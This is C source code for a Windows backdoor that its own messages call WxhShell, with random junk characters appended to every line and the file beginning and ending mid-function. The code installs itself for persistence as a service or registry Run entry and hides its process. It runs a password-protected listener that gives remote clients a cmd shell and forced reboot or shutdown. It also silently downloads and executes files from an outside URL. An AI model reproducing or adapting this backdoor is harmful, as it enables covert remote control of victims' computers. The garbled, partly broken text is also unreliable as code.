  case 'd': { ,TAzJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `II/nv0jn  
    if(Boot(SHUTDOWN)) L:g!f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $|yO mh  
    else { ywRw i~  
    closesocket(wsh); .(8sa8{N  
    ExitThread(0); ]7`)|PJ  
    } -gpF%g`H  
    break; mnM!^[|z  
    } C4jq T  
  // 获取shell aI6fPQe  
  case 's': { ['SZe0  
    CmdShell(wsh); okO^ /"  
    closesocket(wsh); g0!{CW  
    ExitThread(0); HjO-6F#s  
    break; u~9gR@e2{  
  } S>oQm  
  // 退出 noBGP/Av=:  
  case 'x': { 7EKQE>xj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ? }2]G'7?  
    CloseIt(wsh); ;*Cu >f7  
    break;  {u}Lhv  
    } K 9X0/  
  // 离开 V@xlm h,  
  case 'q': { Nuw_,-h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y4 Y;xK"  
    closesocket(wsh); :u7y k@  
    WSACleanup(); uZ-yu|1  
    exit(1); t9zF WdW  
    break; j'V# =vH  
        } 9Xg+$/  
  } Z~VSWrw3  
  } d+Vx:`tT  
R~$W  
  // 提示信息 }?pY~f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S[bFS7[  
} j#TtY|Po  
  } +K3SAGm  
/=zzym~<>  
  return; S?bG U8R5  
} Zjz< Q-  
eUyQSI4A  
// shell模块句柄 \k{UqU+s  
int CmdShell(SOCKET sock) e>Vr#a4  
{ 2[W1EQI  
STARTUPINFO si; 5y. n  
ZeroMemory(&si,sizeof(si)); Ri@`sc{n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZX0ZN2 ]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6]%79?'A  
PROCESS_INFORMATION ProcessInfo; &J)q_Z8  
char cmdline[]="cmd"; f((pRP   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KB$s7S"=  
  return 0; GT[,[l  
} !H`Q^Xf}  
BTXS+mvl  
// 自身启动模式 (Yzy;"iAu  
int StartFromService(void) &^C <J  
{ g7*ii X  
typedef struct l^s\^b=W  
{ qHGXs@*M&  
  DWORD ExitStatus; ps#+i  
  DWORD PebBaseAddress; &R54?u^A  
  DWORD AffinityMask; s6(iiB%d  
  DWORD BasePriority; D{&0r.2F  
  ULONG UniqueProcessId; 8#OcrJzC  
  ULONG InheritedFromUniqueProcessId; ~:Jw2 P2z  
}   PROCESS_BASIC_INFORMATION; nDh]: t=  
D:9/;9V  
PROCNTQSIP NtQueryInformationProcess; bqwQi>^Cw  
-S]yXZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A4,tv#z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OC|9~B1  
g0m6D:f  
  HANDLE             hProcess; Th&* d;  
  PROCESS_BASIC_INFORMATION pbi; '/^bO#G:  
4~Ptn/ g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =)Cqjp  
  if(NULL == hInst ) return 0; ffuV158a&  
PQ`p:=~>:i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >^#OtFHuT)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TO.71x|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H+:SL $+<o  
v$R+5_@[l  
  if (!NtQueryInformationProcess) return 0; FhZ^/= As  
i<N[sO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _~aFzM  
  if(!hProcess) return 0; I$K?,   
&TqY\l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H[ 6L!  
tn-_3C  
  CloseHandle(hProcess); m_Owe/BC#m  
IL?mt2IQ>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \#P>k;D  
if(hProcess==NULL) return 0;  D(}w$hi8  
sh []OSM  
HMODULE hMod; `C~RA, M  
char procName[255]; . z/M (  
unsigned long cbNeeded; WPBn?vb0<  
HS{a^c%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W]!{Y'G  
re9*q   
  CloseHandle(hProcess); Q:I2\E  
{shf\pm!o  
if(strstr(procName,"services")) return 1; // 以服务启动 D-8N Da(`  
P"dWh;I_  
  return 0; // 注册表启动 5"4O_JQ  
} Y6T1_XG  
j tdhdA  
// 主模块 j9zK=eG  
int StartWxhshell(LPSTR lpCmdLine) nJJ9>#<g$  
{ #hEN4c[Ex  
  SOCKET wsl; 6iwIEb  
BOOL val=TRUE; `8Y& KVhu  
  int port=0; Hl"qLrb4  
  struct sockaddr_in door; v\Zni4  
#%CbZw@hJ9  
  if(wscfg.ws_autoins) Install(); O) ks  
G[4TT#  
port=atoi(lpCmdLine); S Rs~p  
uT8@p8  
if(port<=0) port=wscfg.ws_port; $x,?+N  
i>!7/o  
  WSADATA data; [6@{^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sY4sq5'!  
nQuiRTU<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b#U nE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vn"2"hPF|  
  door.sin_family = AF_INET; SFrQPdX6V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E#t;G: +A  
  door.sin_port = htons(port); zzsQfI#  
kt8P\/~*i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6QsH?!bu  
closesocket(wsl); >C"f'!oM,j  
return 1; p F\~T>  
} )ndcBwQc"  
,}15Cse  
  if(listen(wsl,2) == INVALID_SOCKET) { M17oAVN7D  
closesocket(wsl); BIf E+L(  
return 1; 8$O=HE*  
} `Tt}:9/3  
  Wxhshell(wsl); :'aT 4  
  WSACleanup(); .Ap-<FB  
5~T`R~Uqb  
return 0; BKDs3?&  
{9sA'5  
} \|20E51B[  
`oP<mLxle  
// 以NT服务方式启动 ea3;1-b:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  Ad)Po  
{ 9] /xAsD  
DWORD   status = 0; h^klP:Q  
  DWORD   specificError = 0xfffffff; a.+2h%b  
c|<*w[%C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :fI|>I ~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cjzhuH/y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zx"'WM*  
  serviceStatus.dwWin32ExitCode     = 0; O$jj&  
  serviceStatus.dwServiceSpecificExitCode = 0; /C(lQs*l  
  serviceStatus.dwCheckPoint       = 0; .'o<.\R8  
  serviceStatus.dwWaitHint       = 0; E~?0Yrm F  
"dfq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "p>$^   
  if (hServiceStatusHandle==0) return; NNZ%jJy?=,  
":E^&yQ  
status = GetLastError(); m+p}Qi8i)  
  if (status!=NO_ERROR) y6.}h9~  
{ K;jV"R<9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WF0%zxg]  
    serviceStatus.dwCheckPoint       = 0; CZB!vh0  
    serviceStatus.dwWaitHint       = 0; Qs2 E>C  
    serviceStatus.dwWin32ExitCode     = status; yidUtSv=,  
    serviceStatus.dwServiceSpecificExitCode = specificError; x2p}0N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E"!I[  
    return; yM$@*od  
  } &7* |rshZ  
)i8Hdtn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;AV[bjRE\  
  serviceStatus.dwCheckPoint       = 0; %bo0-lnp  
  serviceStatus.dwWaitHint       = 0; 8 wGq:@# =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^'EeJN  
} bJc<FL<E  
Ed[ tmaEuV  
// 处理NT服务事件,比如:启动、停止 Q!DH8'|4?L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rU?sUm,ch  
{ g_lj/u]P  
switch(fdwControl) "?Dov/+Q.  
{ 4|Z;EAFx  
case SERVICE_CONTROL_STOP: @UCI^a~w  
  serviceStatus.dwWin32ExitCode = 0; YXE?b@W"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X`km\\*  
  serviceStatus.dwCheckPoint   = 0; lz>YjK:  
  serviceStatus.dwWaitHint     = 0; f49pIcAq  
  { 6?y<F4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qzk/P1{-  
  } lSv?!2  
  return; 2E~WcB  
case SERVICE_CONTROL_PAUSE: W.OcmA>x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5W/!o&x~7  
  break; _`yd"0 Ux  
case SERVICE_CONTROL_CONTINUE:  pME17 af  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,|hM`<"?  
  break; ,lK=m~  
case SERVICE_CONTROL_INTERROGATE: r[xj,eIb  
  break; \_?A8F  
}; VwfeaDJw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^):m^w.  
} $hexJzX  
~B!O X  
// 标准应用程序主函数 9kmEg$WM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r0ml|PX  
{ FEqs4<}E  
*a_U2}N  
// 获取操作系统版本 @Qw~z0PE<l  
OsIsNt=GetOsVer(); ^(<Ecdz(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e~ #;ux  
L ]HtmI  
  // 从命令行安装 1Rlg%G'  
  if(strpbrk(lpCmdLine,"iI")) Install(); }SL&Y`Y]  
rQ~7BlE  
  // 下载执行文件 9>gxJ7pY  
if(wscfg.ws_downexe) {  k I {)"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l,cnM r^.W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ks92-%;:  
} ~{GbuoH  
r!H'8O!  
if(!OsIsNt) { m80e^  
// 如果时win9x,隐藏进程并且设置为注册表启动 G-`4TQ  
HideProc(); Y~ j.Kt  
StartWxhshell(lpCmdLine); (Fc\*Vn  
} 2$=U#!OtU  
else \Fd6Q_  
  if(StartFromService()) NfG<!  
  // 以服务方式启动 B/"TaXVU  
  StartServiceCtrlDispatcher(DispatchTable); YbaaX{7^  
else >*jcXao^  
  // 普通方式启动 eVL #3|=  
  StartWxhshell(lpCmdLine); AY]dwKw  
-$W#bqvz^  
return 0; Co|3k:I 8  
} 0=N,y  
>eX&HSoy  
[ j'L *j  
y$,K^f  
=========================================== =MQpYX  
0ws1S(pq  
kKbq?}W[  
gc~nT/lfK  
Z) nB  
w>-@h>Ln  
" ze* =7  
\o-9~C\c*  
#include <stdio.h> r\#_b4-v3h  
#include <string.h> ZJL8"(/R  
#include <windows.h> _v~c3y).  
#include <winsock2.h> +ucj>g1(#  
#include <winsvc.h> G- _h 2  
#include <urlmon.h> #G</RYM~m  
xBba&A]=  
#pragma comment (lib, "Ws2_32.lib") [k1N-';;;  
#pragma comment (lib, "urlmon.lib") @VdkmqXz  
NifD pqjgt  
#define MAX_USER   100 // 最大客户端连接数 jA<(#lm;  
#define BUF_SOCK   200 // sock buffer 3y&N}'R(F  
#define KEY_BUFF   255 // 输入 buffer b02V#m;Z  
QaAA@l  
#define REBOOT     0   // 重启 0r<?Ve  
#define SHUTDOWN   1   // 关机 &j}08aK%  
9;W 2zcN  
#define DEF_PORT   5000 // 监听端口 *\#/4_yB}  
z{wW6sgPr  
#define REG_LEN     16   // 注册表键长度 P X9GiJN"  
#define SVC_LEN     80   // NT服务名长度 d|I_SI1  
!VLk|6mn  
// 从dll定义API :/rl \woA>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n6AN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O} #Ic$38  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^?+qNbK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |3LD"!rEx  
7rIz  
// wxhshell配置信息 .>QzM>zO  
struct WSCFG { U-F\3a;&  
  int ws_port;         // 监听端口 y!z2+q2  
  char ws_passstr[REG_LEN]; // 口令 5OHg% ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no [{!K'V  
  char ws_regname[REG_LEN]; // 注册表键名 MP/@Mf\<E  
  char ws_svcname[REG_LEN]; // 服务名 *R'r=C`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 " V[=U13  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Hu;CKs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? <F=*eS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .[8! E_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /,C;fT<R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KjWF;VN*[3  
3(2WO^zX {  
}; I |PEC-(  
vR"?XqgZ  
// default Wxhshell configuration $7bLw)7  
struct WSCFG wscfg={DEF_PORT, W D/\f$4  
    "xuhuanlingzhe", 7pllzy  
    1, s=S9y7i(R  
    "Wxhshell", q?R^~r  
    "Wxhshell", G3.*fSY$.<  
            "WxhShell Service", i2+r#Hw#5R  
    "Wrsky Windows CmdShell Service", ;C ^!T  
    "Please Input Your Password: ", .j et0w  
  1, M&QzsVH  
  "http://www.wrsky.com/wxhshell.exe", _+sb~  
  "Wxhshell.exe" eeVDU$*e=  
    }; /"+CH\) E  
8ln{!,j;  
// 消息定义模块 UC e{V]T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *|gY7Av*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HbI'n,+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7`s* {  
char *msg_ws_ext="\n\rExit."; <wH"{G3?  
char *msg_ws_end="\n\rQuit."; <USK6!-G  
char *msg_ws_boot="\n\rReboot..."; "U"phLX  
char *msg_ws_poff="\n\rShutdown..."; x/fhlf}a}=  
char *msg_ws_down="\n\rSave to "; gg0rkg  
-gQtw% `x  
char *msg_ws_err="\n\rErr!"; T }}T`Ce  
char *msg_ws_ok="\n\rOK!"; 'c&[kMR  
bIXudE[8zq  
char ExeFile[MAX_PATH]; <<=.;`(/v  
int nUser = 0; 8A jQPDn+  
HANDLE handles[MAX_USER]; f]pHJVgFV  
int OsIsNt; AX%N:)_$|  
m&P B5s\=  
SERVICE_STATUS       serviceStatus; P,Z K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %K`th&331  
vw'xmzgA  
// 函数声明 C6?({ QB@  
int Install(void); !"g2F}n  
int Uninstall(void); JRw<v4pZ  
int DownloadFile(char *sURL, SOCKET wsh); U F&B7r  
int Boot(int flag); ~|lEi1|  
void HideProc(void); @3w6 !Sgh  
int GetOsVer(void); -Qy@-s $  
int Wxhshell(SOCKET wsl); ]x1;uE?1J  
void TalkWithClient(void *cs); &lCOhP#  
int CmdShell(SOCKET sock); a1>Tz  
int StartFromService(void); sSLV R^  
int StartWxhshell(LPSTR lpCmdLine); P5JE = &M  
A'tv[T d8,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I!?)}d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q90 ~)n?  
G$^u2wz.  
// 数据结构和表定义 <(!~s><.  
SERVICE_TABLE_ENTRY DispatchTable[] = \N%L-%^  
{ Z<jC,r  
{wscfg.ws_svcname, NTServiceMain}, %A3ci[$g  
{NULL, NULL} 2/iBk'd  
}; bhl9:`s  
*| 9:  
// 自我安装 h S 9^Bi  
int Install(void) pJ3-f k"i  
{ w61*jnvi@  
  char svExeFile[MAX_PATH]; WK.K-bd  
  HKEY key; @CtnV|  
  strcpy(svExeFile,ExeFile); Ak dx1h,  
u}">b+{!  
// 如果是win9x系统,修改注册表设为自启动 H %Dcp#k  
if(!OsIsNt) { [$DI!%e|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ea|E  8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wX4gyr  
  RegCloseKey(key); +h)1NX;o1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U]]ON6Y&F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6J]8BHJn+  
  RegCloseKey(key); ?$Dc>  
  return 0; jK]An;l{Z  
    } k|^YYi= xF  
  } KY%LqcC  
} z41v5rB4  
else { 3s0 I<cL  
|})v, o B  
// 如果是NT以上系统,安装为系统服务 V"|`Z}XW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dC/@OV)0#  
if (schSCManager!=0) *7w,o?l  
{ G+1i~&uV  
  SC_HANDLE schService = CreateService kXgc'w6EhF  
  ( /,yRn31[  
  schSCManager, Zet80|q  
  wscfg.ws_svcname, |\U5m6q  
  wscfg.ws_svcdisp, r h c&#JS  
  SERVICE_ALL_ACCESS, V/+D]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5K,=S  
  SERVICE_AUTO_START, <c&Nm_)  
  SERVICE_ERROR_NORMAL, O9*l6^Scw  
  svExeFile, sE])EwZ  
  NULL, =p[a Cb i  
  NULL, ".{'h  
  NULL, oO^=%Mc(  
  NULL, yf2P6b\  
  NULL tH(g;flO)  
  ); ,YBe|3  
  if (schService!=0) _l+8[\v  
  { GP(ze-Yp  
  CloseServiceHandle(schService); hvc3n> Y[}  
  CloseServiceHandle(schSCManager); xC9?Wt'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nwg?(h#  
  strcat(svExeFile,wscfg.ws_svcname); =PjxMC._  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h-]c   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `n"PHur  
  RegCloseKey(key); i~LY  
  return 0; $=5kn>[_Z%  
    } GvBmh.  
  } `|<? sjY  
  CloseServiceHandle(schSCManager); d5"rCd[  
} MJA;P7g  
} XE8%t=V!c$  
y7Nd3\v [\  
return 1; P7epBWqDP  
} L1kA AR  
mgTzwE_\  
// 自我卸载 MnP+L'|  
int Uninstall(void) B2Kh~Xd  
{ %R<xe.X  
  HKEY key; */OKg;IMi  
bZ#5\L2  
if(!OsIsNt) { 6MpV ,2:>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q8}he~a  
  RegDeleteValue(key,wscfg.ws_regname); NcX`*18  
  RegCloseKey(key); 4>Y*owa4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nj.;mr<  
  RegDeleteValue(key,wscfg.ws_regname); l(HxZlHr  
  RegCloseKey(key); TU*Y?D L  
  return 0; j XYr&F  
  } 3a'#Z4Z-  
} <rFh93  
} =z4J[8bb  
else { ZA\;9M=  
xKkXr-yb`f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8H,k0~D  
if (schSCManager!=0) 7b7WQ7u  
{ #S(b2LEc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7u:QT2=&  
  if (schService!=0) +(Jh$b_  
  { VNs3.  
  if(DeleteService(schService)!=0) { AzVv- !Y  
  CloseServiceHandle(schService); uQ%3?bx)T  
  CloseServiceHandle(schSCManager); }/4),W@<  
  return 0; ]!uId#OH  
  } >[ g=G  
  CloseServiceHandle(schService); xX@9wNYD  
  } FQ0PXYh  
  CloseServiceHandle(schSCManager); MS]Q\g}U  
} 6(>,qt,9S  
} Fd<eh(g9P  
JL [!8NyU  
return 1; [{: l?  
} y[zjs^-vCv  
qC B{dp/  
// 从指定url下载文件 XRTiC #6  
int DownloadFile(char *sURL, SOCKET wsh) C#B|^A_  
{ R\-]$\1D  
  HRESULT hr; *-S?bv,T'  
char seps[]= "/"; TkVqv v  
char *token; $}fY B/  
char *file; mNsd&Rk'  
char myURL[MAX_PATH]; uDLj*U6L  
char myFILE[MAX_PATH]; T uC  
7nsovWp  
strcpy(myURL,sURL); !="8ok+  
  token=strtok(myURL,seps); y&V'GhW!dd  
  while(token!=NULL) yY]E~  
  {  `fE'$2  
    file=token; i1K$~  
  token=strtok(NULL,seps); f`iDF+h<6  
  } 99"8d^{z  
+.gj/uy*  
GetCurrentDirectory(MAX_PATH,myFILE); DG}s`'  
strcat(myFILE, "\\"); VB`% u=  
strcat(myFILE, file); fYW9Zbov-  
  send(wsh,myFILE,strlen(myFILE),0); n:f&4uKoG<  
send(wsh,"...",3,0); h"[:$~/UJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T^A[m0mk  
  if(hr==S_OK) '2UQN7@d  
return 0; UY .-Qt  
else p=\Q7<Z6d,  
return 1; qt6@]Y  
[NV/*>"j&  
} j<R&?*  
3#Iq5vT  
// 系统电源模块 YABi`;R]'  
int Boot(int flag) de;CEm<n  
{ D/=k9[b!  
  HANDLE hToken; a}iP +#;  
  TOKEN_PRIVILEGES tkp; zFQm3!.  
oArXP\#  
  if(OsIsNt) { j6j4M,UI43  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YI`BA`BQ8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BO8?{~i  
    tkp.PrivilegeCount = 1; 4$81ilBcL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :98:U~ d1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /,~g"y.;,  
if(flag==REBOOT) { h lSav?V_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @( 0O9L F  
  return 0; 4dm0:, G  
} ~,Yd.?.TI  
else { IfT: 9 &  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /x4L,UJ= P  
  return 0; p 16+(m  
} +DO<M1uE  
  } \#IKirf?  
  else { 3`)ej`  
if(flag==REBOOT) { 3E0C$v KM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z{/GT7 /  
  return 0; 8n:N#4Dh^  
} 0JKTwLhC  
else { i52JY&N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jfVw{\l  
  return 0; sk*vmxClY  
} i|xz  
} .&`apQD}  
QjD=JC+  
return 1; 1f'msy/  
} 6!N2B[9  
yb)qg]2  
// win9x进程隐藏模块 IM,4Si2  
void HideProc(void) :G] t=vr1  
{ s%8,'3&  
8'NT_NPNb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  FsQoQ#*  
  if ( hKernel != NULL ) -f1lu*3\  
  { [)kuu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +n$ruoRJh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ( uG; Q  
    FreeLibrary(hKernel); '=eVem=  
  } REh\WgV!u  
sZ7~AJ  
return; j)#yyK{k2s  
} )eqF21\  
6urU[t1  
// 获取操作系统版本 6'.)z ,ts  
int GetOsVer(void) E25w^x2  
{ P,(_y8  
  OSVERSIONINFO winfo; g++-v HD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EEo I|  
  GetVersionEx(&winfo); (_6JQn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #k[Y(_  
  return 1; yk(r R  
  else iXWB  
  return 0; Ix<!0! vk  
} UoUQ6Ij  
l|iOdKr h  
// 客户端句柄模块 >_G'o  
int Wxhshell(SOCKET wsl) 2E`mbT,v&  
{ bUds E 1f  
  SOCKET wsh; B =7maYeU  
  struct sockaddr_in client; DrbjklcUU  
  DWORD myID; $o9@ ?2  
WBA7G  
  while(nUser<MAX_USER) ^~6gkS }  
{ B6KG\,'|  
  int nSize=sizeof(client); YW&`PJ9o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Z t#OA $  
  if(wsh==INVALID_SOCKET) return 1; z-:>[Sn  
Hs_7oy|P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uBn35%  
if(handles[nUser]==0) Rha|Rk~  
  closesocket(wsh); t* p%!xsH  
else /Ahh6=qQY  
  nUser++; #&fu"W+D96  
  } nR wf;K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Aa]3jev  
N R 4\TU  
  return 0; Aon.Y Z  
} CS5[E-%}T=  
-WR<tkK  
// 关闭 socket 2;J\Z=7  
void CloseIt(SOCKET wsh) ,V^$Meh  
{ ^".6~{  
closesocket(wsh); Azp!;+  
nUser--; ULgp]IS  
ExitThread(0); [hk/Rp7{  
} )[r=(6?n  
~jmI`X/  
// 客户端请求句柄 ao[yHcAs  
void TalkWithClient(void *cs) g}uSIv^  
{ >"|t*k S  
tmM; Z(9t  
  SOCKET wsh=(SOCKET)cs; $$< I}eMd>  
  char pwd[SVC_LEN]; ):}A Quy]  
  char cmd[KEY_BUFF]; !_;J@B  
char chr[1]; DL,]iJm  
int i,j; m{~L Fhhd1  
m~fDDQs  
  while (nUser < MAX_USER) {  pn) {v  
mEkYT  
if(wscfg.ws_passstr) { w`3.wALb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .+<Ka0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eH[i<Z  
  //ZeroMemory(pwd,KEY_BUFF); x5Fo?E  
      i=0; ^tI&5S]nE  
  while(i<SVC_LEN) { <[K)PI  
m|t\w|B2  
  // 设置超时 N:S2X+}(  
  fd_set FdRead; $|T Lt{ K  
  struct timeval TimeOut; fakad#O  
  FD_ZERO(&FdRead); rKd|s7l  
  FD_SET(wsh,&FdRead); mZmEE2h  
  TimeOut.tv_sec=8; r4fg!]J ;  
  TimeOut.tv_usec=0; )0"T?Ivp]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U@{>+G[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F- u"zox  
 -T-yt2h(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H*P+>j&  
  pwd=chr[0]; Zk>m!F>,p  
  if(chr[0]==0xd || chr[0]==0xa) { a/3'!}&e  
  pwd=0; t~nW&]E  
  break; XW@C_@*J  
  } Kv<mDA!  
  i++; =jmn  
    } 8f|  
'&}B"1  
  // 如果是非法用户,关闭 socket S<LHNZu|^A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5X-cDY*|  
} '%R Yo#  
_dq.hW7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *(x`cf;k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l+Tw#2s$  
%zB `Sd<  
while(1) { X Jy]d/  
|L7 `7!Z  
  ZeroMemory(cmd,KEY_BUFF); (byFr9z  
'5eW"HGU]`  
      // 自动支持客户端 telnet标准   G?d28p',.  
  j=0; z6R<*$4  
  while(j<KEY_BUFF) { *Ta*0Fr=9|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0BIH.ZV#  
  cmd[j]=chr[0]; kf$0}T`  
  if(chr[0]==0xa || chr[0]==0xd) { *, o)`  
  cmd[j]=0; J%_ :A"  
  break; 'on, YEp  
  } @&d/}Mx"t  
  j++; Jh[fFg]  
    } yHhBUpIo  
|k+Y >I&  
  // 下载文件 y4Plm.  
  if(strstr(cmd,"http://")) { 6 9,;=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @K]D :MSS  
  if(DownloadFile(cmd,wsh)) r!etj3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9[B*CD |  
  else hM(|d@)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >+fet ,  
  } 6546"sU  
  else { `hL16S  
eEQ 4L\d  
    switch(cmd[0]) { 3m?3I2k  
  t8 #&bU X  
  // 帮助 X'WbS  
  case '?': { 'zZN]P  
